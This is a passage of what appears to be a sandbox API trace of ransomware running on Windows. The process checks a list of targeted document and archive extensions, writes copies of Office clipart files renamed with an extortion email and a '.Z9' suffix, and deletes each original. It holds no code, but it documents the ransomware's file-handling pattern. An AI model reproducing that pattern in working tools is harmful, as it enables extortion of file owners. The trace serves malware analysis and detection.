	[0176.680] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3480, lpOverlapped=0x0) returned 1
	[0176.682] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.682] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.682] SetEndOfFile (hFile=0x37c) returned 1
	[0176.682] CloseHandle (hObject=0x37c) returned 1
	[0176.682] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.682] SetEndOfFile (hFile=0x344) returned 1
	[0176.686] CloseHandle (hObject=0x344) returned 1
	[0176.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1
	[0176.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.688] lstrlenW (lpString=".doc") returned 4
	[0176.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.688] lstrlenW (lpString=".docx") returned 5
	[0176.688] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.688] lstrlenW (lpString=".pdf") returned 4
	[0176.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.688] lstrlenW (lpString=".xls") returned 4
	[0176.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.688] lstrlenW (lpString=".xlsx") returned 5
	[0176.688] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.689] lstrlenW (lpString=".ppt") returned 4
	[0176.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.689] lstrlenW (lpString=".zip") returned 4
	[0176.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.689] lstrlenW (lpString=".rar") returned 4
	[0176.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.689] lstrlenW (lpString=".bz2") returned 4
	[0176.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.689] lstrlenW (lpString=".7z") returned 3
	[0176.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.689] lstrlenW (lpString=".dbf") returned 4
	[0176.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.689] lstrlenW (lpString=".1cd") returned 4
	[0176.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.689] lstrlenW (lpString=".jpg") returned 4
	[0176.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.690] lstrlenW (lpString=".doc") returned 4
	[0176.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString=".docx") returned 5
	[0176.690] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.690] lstrlenW (lpString=".pdf") returned 4
	[0176.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString=".xls") returned 4
	[0176.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.690] lstrlenW (lpString=".xlsx") returned 5
	[0176.690] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.690] lstrlenW (lpString=".ppt") returned 4
	[0176.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.690] lstrlenW (lpString=".zip") returned 4
	[0176.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.690] lstrlenW (lpString=".rar") returned 4
	[0176.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString=".bz2") returned 4
	[0176.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.690] lstrlenW (lpString=".7z") returned 3
	[0176.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.690] lstrlenW (lpString=".dbf") returned 4
	[0176.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.691] lstrlenW (lpString=".1cd") returned 4
	[0176.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68
	[0176.691] lstrlenW (lpString=".jpg") returned 4
	[0176.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.691] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.691] lstrlenW (lpString="J0107290.WMF") returned 12
	[0176.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0176.693] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12308) returned 1
	[0176.693] CloseHandle (hObject=0x344) returned 1
	[0176.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220
	[0176.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0176.694] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.694] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0176.695] GetLastError () returned 0x0
	[0176.695] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3014, lpOverlapped=0x0) returned 1
	[0176.699] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3020, lpOverlapped=0x0) returned 1
	[0176.701] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.701] WriteFile (in: hFile=0x37c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.701] SetEndOfFile (hFile=0x37c) returned 1
	[0176.702] CloseHandle (hObject=0x37c) returned 1
	[0176.702] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.702] SetEndOfFile (hFile=0x344) returned 1
	[0177.290] CloseHandle (hObject=0x344) returned 1
	[0177.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1
	[0177.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.293] lstrlenW (lpString=".doc") returned 4
	[0177.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.293] lstrlenW (lpString=".docx") returned 5
	[0177.293] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.293] lstrlenW (lpString=".pdf") returned 4
	[0177.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.293] lstrlenW (lpString=".xls") returned 4
	[0177.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.293] lstrlenW (lpString=".xlsx") returned 5
	[0177.293] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.293] lstrlenW (lpString=".ppt") returned 4
	[0177.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.293] lstrlenW (lpString=".zip") returned 4
	[0177.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.294] lstrlenW (lpString=".rar") returned 4
	[0177.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.294] lstrlenW (lpString=".bz2") returned 4
	[0177.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.294] lstrlenW (lpString=".7z") returned 3
	[0177.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.294] lstrlenW (lpString=".dbf") returned 4
	[0177.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.294] lstrlenW (lpString=".1cd") returned 4
	[0177.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.294] lstrlenW (lpString=".jpg") returned 4
	[0177.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.294] lstrlenW (lpString=".doc") returned 4
	[0177.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString=".docx") returned 5
	[0177.295] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.295] lstrlenW (lpString=".pdf") returned 4
	[0177.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString=".xls") returned 4
	[0177.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.295] lstrlenW (lpString=".xlsx") returned 5
	[0177.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.295] lstrlenW (lpString=".ppt") returned 4
	[0177.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.295] lstrlenW (lpString=".zip") returned 4
	[0177.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.295] lstrlenW (lpString=".rar") returned 4
	[0177.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString=".bz2") returned 4
	[0177.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString=".7z") returned 3
	[0177.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.295] lstrlenW (lpString=".dbf") returned 4
	[0177.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.296] lstrlenW (lpString=".1cd") returned 4
	[0177.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0177.296] lstrlenW (lpString=".jpg") returned 4
	[0177.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.296] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.296] lstrlenW (lpString="J0107328.WMF") returned 12
	[0177.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.300] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6532) returned 1
	[0177.300] CloseHandle (hObject=0x344) returned 1
	[0177.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220
	[0177.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.301] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.301] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.303] GetLastError () returned 0x0
	[0177.303] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1984, lpOverlapped=0x0) returned 1
	[0177.305] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1990, lpOverlapped=0x0) returned 1
	[0177.307] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.307] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.307] SetEndOfFile (hFile=0x54c) returned 1
	[0177.307] CloseHandle (hObject=0x54c) returned 1
	[0177.307] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.307] SetEndOfFile (hFile=0x344) returned 1
	[0177.311] CloseHandle (hObject=0x344) returned 1
	[0177.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1
	[0177.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.314] lstrlenW (lpString=".doc") returned 4
	[0177.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.314] lstrlenW (lpString=".docx") returned 5
	[0177.314] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.314] lstrlenW (lpString=".pdf") returned 4
	[0177.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.314] lstrlenW (lpString=".xls") returned 4
	[0177.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.314] lstrlenW (lpString=".xlsx") returned 5
	[0177.314] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.314] lstrlenW (lpString=".ppt") returned 4
	[0177.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.314] lstrlenW (lpString=".zip") returned 4
	[0177.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.314] lstrlenW (lpString=".rar") returned 4
	[0177.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.314] lstrlenW (lpString=".bz2") returned 4
	[0177.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.314] lstrlenW (lpString=".7z") returned 3
	[0177.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.315] lstrlenW (lpString=".dbf") returned 4
	[0177.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.315] lstrlenW (lpString=".1cd") returned 4
	[0177.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.315] lstrlenW (lpString=".jpg") returned 4
	[0177.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.315] lstrlenW (lpString=".doc") returned 4
	[0177.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.315] lstrlenW (lpString=".docx") returned 5
	[0177.315] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.315] lstrlenW (lpString=".pdf") returned 4
	[0177.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.315] lstrlenW (lpString=".xls") returned 4
	[0177.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.316] lstrlenW (lpString=".xlsx") returned 5
	[0177.316] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.316] lstrlenW (lpString=".ppt") returned 4
	[0177.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.316] lstrlenW (lpString=".zip") returned 4
	[0177.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.316] lstrlenW (lpString=".rar") returned 4
	[0177.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.316] lstrlenW (lpString=".bz2") returned 4
	[0177.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.316] lstrlenW (lpString=".7z") returned 3
	[0177.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.316] lstrlenW (lpString=".dbf") returned 4
	[0177.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.316] lstrlenW (lpString=".1cd") returned 4
	[0177.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0177.316] lstrlenW (lpString=".jpg") returned 4
	[0177.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.317] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.317] lstrlenW (lpString="J0107342.WMF") returned 12
	[0177.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.318] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4244) returned 1
	[0177.318] CloseHandle (hObject=0x344) returned 1
	[0177.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220
	[0177.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0177.341] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.341] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.345] GetLastError () returned 0x0
	[0177.345] ReadFile (in: hFile=0x344, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1094, lpOverlapped=0x0) returned 1
